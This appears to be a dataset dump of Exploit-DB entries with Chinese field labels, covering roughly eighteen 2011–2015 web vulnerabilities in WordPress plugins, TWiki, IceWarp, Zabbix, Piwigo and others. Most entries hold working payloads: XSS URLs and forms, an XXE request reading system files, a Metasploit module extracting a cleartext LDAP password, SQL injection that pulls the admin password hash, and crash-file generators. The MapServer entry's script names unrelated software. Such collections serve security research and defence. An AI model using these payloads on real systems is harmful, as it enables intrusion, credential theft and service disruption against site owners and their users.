QLWD/code_shield huggingface dataset:
标题: WordPress Theme Black-LetterHead 1.5 - 'index.php' Cross-Site Scripting EDB-ID: 36187 CVE: 2011-3865 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/49879/info

The Black-LetterHead theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Black-LetterHead theme 1.5 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php/%22+%3E%3C/form%3E%3CScRiPt%3Exss=69566599%3C/ScRiPt%3E/t Post Request:s=1& URL: https://www.exploit-db.com/exploits/36187
标题: WordPress Theme RedLine 1.65 - 's' Cross-Site Scripting EDB-ID: 36191 CVE: 2011-3863 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/49880/info

The RedLine theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

RedLine theme prior to 1.66 are vulnerable. 

http://www.example.com/?s="%20%3e%3c/link%3e%3cScRiPt%3ealert(123)%3c/ScRiPt%3e URL: https://www.exploit-db.com/exploits/36191
标题: WordPress Theme Atahualpa 3.6.7 - 's' Cross-Site Scripting EDB-ID: 36178 CVE: 2011-3850 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/49865/info

The Atahualpa theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Atahualpa 3.6.8 are vulnerable. 

http://www.example.com/?s=%26%23039;%2balert(123)%2b%26%23039; URL: https://www.exploit-db.com/exploits/36178
标题: TWiki 5.0.2 SlideShowPlugin - Slide Show Pages URI Cross-Site Scripting EDB-ID: 36163 CVE: 2011-3010 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/49746/info
 
TWiki is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to TWiki 5.1.0 are vulnerable. 

http://example.com/do/view/TWiki/ATasteOfTWiki?&#039;"--></style></script><script>alert(0x002B48)</script> URL: https://www.exploit-db.com/exploits/36163
标题: TWiki 5.0.2 - '/bin/view/Main/Jump?newtopic' Cross-Site Scripting EDB-ID: 36162 CVE: 2011-3010 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/49746/info

TWiki is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to TWiki 5.1.0 are vulnerable. 

http://example.com/do/view/Main/Jump?create=on&newtopic=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%280x0051D1%29%3C/script%3E&template=WebCreateNewTopic&topicparent=3 URL: https://www.exploit-db.com/exploits/36162
标题: IceWarp Mail Server 10.3.2 server/webmail.php Soap Message Parsing - Arbitrary File Disclosure EDB-ID: 36165 CVE: 2011-3579 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/49753/info

IceWarp Web Mail is prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to gain access to potentially sensitive information, and possibly cause denial-of-service conditions; other attacks may also be possible. 

Proof-of-Concept:

The following POST request was sent to the host A.B.C.D where the IceWarp mail
server was running:

REQUEST 
========= 
POST /-.._._.--.._1243848280/server/webmail.php HTTP/1.1 
Host:A.B.C.D 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101
Firefox/5.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language:en-gb,en;q=0.5i've 
Accept-Encoding: gzip, deflate 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 
Proxy-Connection: keep-alive 
Referer: http://A.B.C.D 
Content-Length: 249 
Content-Type: application/xml; 
charset=UTF-8
Pragma: no-cache 
Cache-Control: no-cache

<!DOCTYPE foo [<!ENTITY xxeb91c4 SYSTEM "file:///c:/windows/win.ini"> ]><iq
type="set"><query xmlns="webmail:iq:auth"><username>test&xxeb91c4;</username><digest>828cd27c6fb73ee32674602e9c5521f005c614f5fb9266fd071dab323b5079e02d47a421c01df2efffcd2bdb221e15bf2baa4acefe38f264d92d152878ca4d33</digest><method>RSA</method></query></iq>

RESPONSE: 
========== 
HTTP/1.1 200 OK 
Server: IceWarp/9.4.2 
Date: Wed, 20 Jul
2011 10:04:56 GMT 
Expires: Thu, 19 Nov 1981 08:52:00 GMT 
Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0 
Pragma: no-cache
Content-Type: text/xml 
Vary: Accept-Encoding 
Content-Length: 1113

<?xml version="1.0" encoding="utf-8"?><iq type="error"><error
uid="login_invalid">test; for 16-bit app support 
[fonts] 
[extensions] 
[mci extensions] 
[files] 
[Mail] 
MAPI=1
....TRUNCATED URL: https://www.exploit-db.com/exploits/36165
标题: Zabbix 2.0.5 - Cleartext ldap_bind_Password Password Disclosure (Metasploit) EDB-ID: 36157 CVE: 2013-5572 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-23 漏洞利用脚本: ##
# This module requires Metasploit
# Date: 25-09-2013
# Author: Pablo González
# Vendor Homepage: Zabbix -> http://www.zabbix.com 
# Software Link: http://www.zabbix.com 
# Version: 2.0.5
# Tested On: Linux (Ubuntu, Suse, CentOS)
# CVE: CVE-2013-5572 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5572
# More Info: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-5572
#     http://www.elladodelmal.com/2014/12/como-crear-el-modulo-metasploit-para-el.html
#     http://seclists.org/fulldisclosure/2013/Sep/151
#       http://www.cvedetails.com/cve/CVE-2013-5572/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ldap_bind_password Zabbix CVE-2013-5572',
      'Description'    => %q{
          Zabbix 2.0.5 allows remote authenticated users to discover the LDAP bind password by leveraging management-console access and reading the ldap_bind_password value in the HTML source code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ '@pablogonzalezpe, Pablo Gonzalez' ]
    ))

    register_options([
      OptString.new('zbx_session', [true, 'Cookie zbx_sessionid']),
   OptString.new('TARGETURI', [true, 'Path Zabbix Authentication','/zabbix/authentication.php']),
   OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])
    ], self.class)

  end

  def run
    req
  end
  def req
 resp = send_request_cgi(
      {
  'host' => datastore['RHOST'],
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path.to_s),
        'cookie' => "zbx_sessionid=#{datastore['zbx_session']}",
  'content-type' => 'application/x-www-form-urlencoded'
      }, datastore['TIMEOUT'])
     
   ldap_host(resp)
   user_passDomain(resp)
   user_zabbix(resp)
  end
  
  def ldap_host(response)
 cut = response.body.split("ldap_host\" value=\"")[1]
 if cut != nil
  host = cut.split("\"")[0]
  print_good "LDAP Host => #{host}"
 end
  end
  
  def user_passDomain(response)
 cut = response.body.split("ldap_bind_dn\" value=\"")[1]
 if cut != nil 
  user = cut.split("\"")[0]
  print_good "User Domain? => #{user}"
 end
 cut = response.body.split("name=\"ldap_bind_password\" value=\"")[1]
 if cut != nil
  pass = cut.split("\"")[0]
  print_good "Password Domain? => #{pass}"
 end
  end

  def user_zabbix(response)
 cut = response.body.split("user\" value=\"")[1]
 if cut != nil
  user = cut.split("\"")[0]
  print_good "User Zabbix => #{user}"
 end
  end
end URL: https://www.exploit-db.com/exploits/36157
标题: Clipbucket 2.7 RC3 0.9 - Blind SQL Injection EDB-ID: 36156 CVE: 2015-2102 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-23 漏洞利用脚本: # Exploit Title   : Clipbucket 2.7 RC3 0.9 Blind SQL Injection
# Date            : 20 February 2015
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://clip-bucket.com/
# Software Link   : http://sourceforge.net/projects/clipbucket/files/ClipBucket%20v2/clipbucket-2.7.0.4.v2929-rc3.zip
# Version         : 2.7.0.4.v2929-rc3
# Tested on       : Window and Linux
   
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /       
  / XXXXXX /
 (________(         
  `------'
  
####################
SOFTWARE DESCRIPTION
####################
  
ClipBucket is an OpenSource Multimedia Management Script Provided Free to the Community.This script comes with all
the bells & whistles required to start your own Video Sharing website like Youtube, Metacafe, Veoh, Hulu or any
other top video distribution application in matter of minutes. ClipBucket is fastest growing script which was
first started as Youtube Clone but now its advance features & enhancements makes it the most versatile, reliable &
scalable media distribution platform with latest social networking features, while staying light on your pockets.
Whether you are a small fan club or a big Multi Tier Network operator, Clipbucket will fulfill your video
management needs.
  
##################################
VULNERABILITY: Blind SQL Injection
##################################
   
An attacker might execute arbitrary SQL commands on the database server with this vulnerability.
User tainted data is used when creating the database query that will be executed on the database management system (DBMS).
An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system
depending on the query, DBMS and configuration.
  
= POC =
GET /clipbucket/view_item.php?item=a%27%20or%20%27a%27=%27a&type=photos&collection=9 => True Condition
GET /clipbucket/view_item.php?item=a%27%20or%20%27a%27=%27b&type=photos&collection=9 => False Condition (Item does not exist.)
   
################################################################################################################
 Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################ URL: https://www.exploit-db.com/exploits/36156
标题: Piwigo 2.7.3 - SQL Injection EDB-ID: 36125 CVE: 2015-1517 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-19 漏洞利用脚本: [CVE-2015-1517] Piwigo - SQL Injection in Version 2.7.3

----------------------------------------------------------------

Product Information:

Software: Piwigo 

Tested Version: 2.7.3, released on 9 January 2015

Vulnerability Type: SQL Injection (CWE-89)

Download link: http://piwigo.org/basics/downloads

Description: Piwigo is photo gallery software for the web, built by an active community of users and developers. Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and opensource (copied from http://piwigo.org/)

----------------------------------------------------------------

Vulnerability description:

When an authenticated user is navigating to "Photos/Batch Manager" he is able to apply different filters. When all filters are activated and the button "Refresh photo set" is executed, the following POST request is sent to the server:



POST /piwigo-2.7.3/piwigo/admin.php?page=batch_manager HTTP/1.1
Host: <IP>
Content-Type: application/x-www-form-urlencoded
Cookie: pwg_id=ri5ra17df1v20b0h51liekceu1; interface_language=s%3A2%3A%22en%22%3B

filter_category_use=on&filter_level=1'&filter_level_include_lower=on&filter_dimension_min_width=600&filter_filesize_use=on&regenerateSuccess=0&filter_search_use=on&author=Type+the+author+name+here&filter_prefilter=caddie&title=Type+the+title+here&filter_dimension_min_ratio=1.25&level=4&tag_mode=OR&filter_prefilter_use=on&regenerateError=0&filter_filesize_min=0&filter_duplicates_date=on&remove_date_creation=on&date_creation=2015-02-06+00%3a00%3a00&submitFilter=Refresh+photo+set&filter_dimension_max_height=2300&filter_category_recursive=on&remove_title=on&filter_tags_use=on&filter_filesize_max=15.1&filter_dimension_max_width=3500&filter_dimension_max_ratio=1.78&selectAction=------------------&filter_dimension_use=on&remove_author=on&filter_duplicates_dimensions=on&start=0&filter_level_use=on&q=555-555-0199@example.com&confirm_deletion=on&filter_dimension_min_height=480


This POST request is prone to boolean-based blind, error-based and AND/OR time-based blind SQL injection in the parameter filter_level. When adding a single quote a database error message can be provoked. 

----------------------------------------------------------------

Impact: 

Direct database access is possible if an attacker is exploiting the SQL Injection vulnerability.

----------------------------------------------------------------

Solution:

Update to the latest version, which is   2.7.4, see http://piwigo.org/basics/downloads.

----------------------------------------------------------------

Timeline:

Vulnerability found: 6.2.2015
Vendor informed: 6.2.2015
Response by vendor: 7.2.2015
Fix by vendor 12.2.2015
Public Advisory: 18.2.2015

---------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/36125
标题: Wireshark 1.6.1 - Malformed Packet Trace File Remote Denial of Service EDB-ID: 36128 CVE: 2011-3483 类型: DOS 平台: WINDOWS 发布日期: 2011-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/49521/info

Wireshark is prone to a remote denial-of-service vulnerability because it fails to properly handle certain files.

Successful exploits may allow attackers to crash the affected application, denying service to legitimate users.

Wireshark 1.4.0 to 1.4.8 and 1.6.0 to 1.6.1 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36128.pcap URL: https://www.exploit-db.com/exploits/36128
标题: Zikula Application Framework 1.2.7/1.3 - 'themename' Cross-Site Scripting EDB-ID: 36121 CVE: 2011-3979 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/49491/info

Zikula Application Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Zikula Application Framework 1.3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?module=theme&type=admin&func=setasdefault&themename=%3Cscript%3Ealert%28docu ment.cookie%29%3C/script%3E URL: https://www.exploit-db.com/exploits/36121
标题: Spring Security - HTTP Header Injection EDB-ID: 36130 CVE: 2011-2732 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/49535/info

Spring Security is prone to a vulnerability that allows attackers to inject arbitrary HTTP headers because it fails to sufficiently sanitize input.

By inserting arbitrary headers into an HTTP response, attackers may be able to launch various attacks, including cross-site request forgery, cross-site scripting, and HTTP-request smuggling.

The following versions are vulnerable:

Spring Security 2.0.0 through 2.0.6
Spring Security 3.0.0 through 3.0.5 

http://www.example.com//mywebapp/logout/spring-security-redirect=%0d%0a%20NewHeader%3ainjectedValue URL: https://www.exploit-db.com/exploits/36130
标题: WordPress Plugin Duplicator 0.5.8 - Privilege Escalation EDB-ID: 36112 CVE: 2014-9262 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-18 漏洞利用脚本: # Exploit Title: Duplicator 0.5.8 Privilege Escalation
# Date: 21-11-2014
# Software Link: https://wordpress.org/plugins/duplicator/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description
  
Every registered user can create and download backup files.

File: duplicator\duplicator.php
add_action('wp_ajax_duplicator_package_scan',  'duplicator_package_scan');
add_action('wp_ajax_duplicator_package_build',  'duplicator_package_build');
add_action('wp_ajax_duplicator_package_delete',  'duplicator_package_delete');
add_action('wp_ajax_duplicator_package_report',  'duplicator_package_report');

http://security.szurek.pl/duplicator-058-privilege-escalation.html

2. Proof of Concept

Login as regular user (created using wp-login.php?action=register) then start scan:

http://wordpress-url/wp-admin/admin-ajax.php?action=duplicator_package_scan

After that you can build backup:

http://wordpress-url/wp-admin/admin-ajax.php?action=duplicator_package_build

This function will return json with backup name inside File key.

You can download backup using:

http://wordpress-url/wp-snapshots/%file_name_from_json%

3. Solution:
  
Update to version 0.5.10 URL: https://www.exploit-db.com/exploits/36112
标题: MapServer 6.0 - '.Map' File Double-Free Remote Denial of Service EDB-ID: 36092 CVE: 2011-2975 类型: DOS 平台: WINDOWS 发布日期: 2011-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/49374/info

MapServer is prone to a remote denial-of-service vulnerability due to a double free condition.

Attackers can exploit this issue to crash the application, denying service to legitimate users. Due to the nature of this issue, code execution may be possible; however, this has not been confirmed.

Versions prior to MapServer 6.0.1 are vulnerable. 

#!/usr/bin/perl
 
print q(
########################################################
# home : http://www.D99Y.com 
# Date : 9/8/2011 
# Author : NassRawI 
# Software Link : http://www.acoustica.com/mixcraft/
# Version : v1.00 Build 10 
# Tested on : Windows XP SP2
########################################################
);
 
my $file= "crash.mxc";
my $junk= "\x64\x39\x39\x79\x2e\x63\x6f\x6d" x 1000 ;
open(d99y,">$file");
print d99y $junk ;
close(d99y);
print "\n [ # ] Vulnerable File Created !\n" URL: https://www.exploit-db.com/exploits/36092
标题: WordPress Plugin Fancybox 3.0.2 - Persistent Cross-Site Scripting EDB-ID: 36087 CVE: 2015-1494 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-16 漏洞利用脚本: # Exploit Title: Wordpress plugin Fancybox-for-WordPress Stored XSS
# Exploit Author: NULLpOint7r
# Date: 2015-02-11
# Contact me: seidbenseidok@gmail.com
# Version: 3.0.2
# Download link: https://downloads.wordpress.org/plugin/fancybox-for-wordpress.3.0.2.zip
# Home: http://www.sec4ever.com/home/

vulnerable code [fancybox.php]:
342.    if ( isset($_GET['page']) && $_GET['page'] == 'fancybox-for-wordpress' ) {
343.
344.        if ( isset($_REQUEST['action']) && 'update' == $_REQUEST['action'] ) {
345.
346.            $settings = stripslashes_deep( $_POST['mfbfw'] );
347.            $settings = array_map( 'convert_chars', $settings );
348.
349.            update_option( 'mfbfw', $settings );
350.            wp_safe_redirect( add_query_arg('updated', 'true') );  

exploit: 

<form method="POST" action="http://127.0.0.1/wp-admin/admin-post.php?page=fancybox-for-wordpress">
    <input type="text" name="action" value="update">
    <input type="text" name="mfbfw[padding]" value="</script><script>alert(/Owned by someone/)</script>">
    <input type="submit" value="Send">
</form> URL: https://www.exploit-db.com/exploits/36087
标题: WordPress Plugin WonderPlugin Audio Player 2.0 - Blind SQL Injection / Cross-Site Scripting EDB-ID: 36086 CVE: 2015-2218 2015-2199 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-16 漏洞利用脚本: # Exploit Title: WonderPlugin Audio Player 2.0 Blind SQL Injection and XSS
# Date: 20-01-2015
# Software Link: http://www.wonderplugin.com/wordpress-audio-player/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description
  
wp_ajax_save_item() is accessible for every registered user (admin privileges are not checked).

save_item() uses is_id_exist() in which $id is not escaped properly.

2. Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
    <input type="text" name="item[id]" value="1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)">
    <input type="submit" value="Hack!">
</form>

This SQL will check if first password character user ID=1 is "$".

If yes it will sleep 5 seconds.

For XSS use:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
    <input type="hidden" name="item[id]" value="1">
    <input type="text" name="item[name]" value='<script>alert(String.fromCharCode(88,83,83));</script>'>
    <input type="text" name="item[customcss]" value='</style><script>alert(String.fromCharCode(88,83,83));</script>'>
    <input type="submit" value="Hack!">
</form>

It will be visible on every page where shortcode wonderplugin_audio is used and also in admin panel:

http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_items

http://security.szurek.pl/wonderplugin-audio-player-20-blind-sql-injection-and-xss.html

3. Solution:
  
Update to version 2.1 URL: https://www.exploit-db.com/exploits/36086
标题: IBM Open Admin Tool 2.71 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36091 CVE: 2011-3390 类型: WEBAPPS 平台: PHP 发布日期: 2011-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/49364/info

IBM Open Admin Tool is prone to multiple cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

IBM Open Admin Tool 2.71 and prior are vulnerable. 

http://www.example.com:8080/openadmin/index.php?act=login&do=dologin&login_admin=Login&groups=1&grouppass=&informixserver= &host= &port= &username= &userpass= &idsprotocol=onsoctcp&conn_num URL: https://www.exploit-db.com/exploits/36091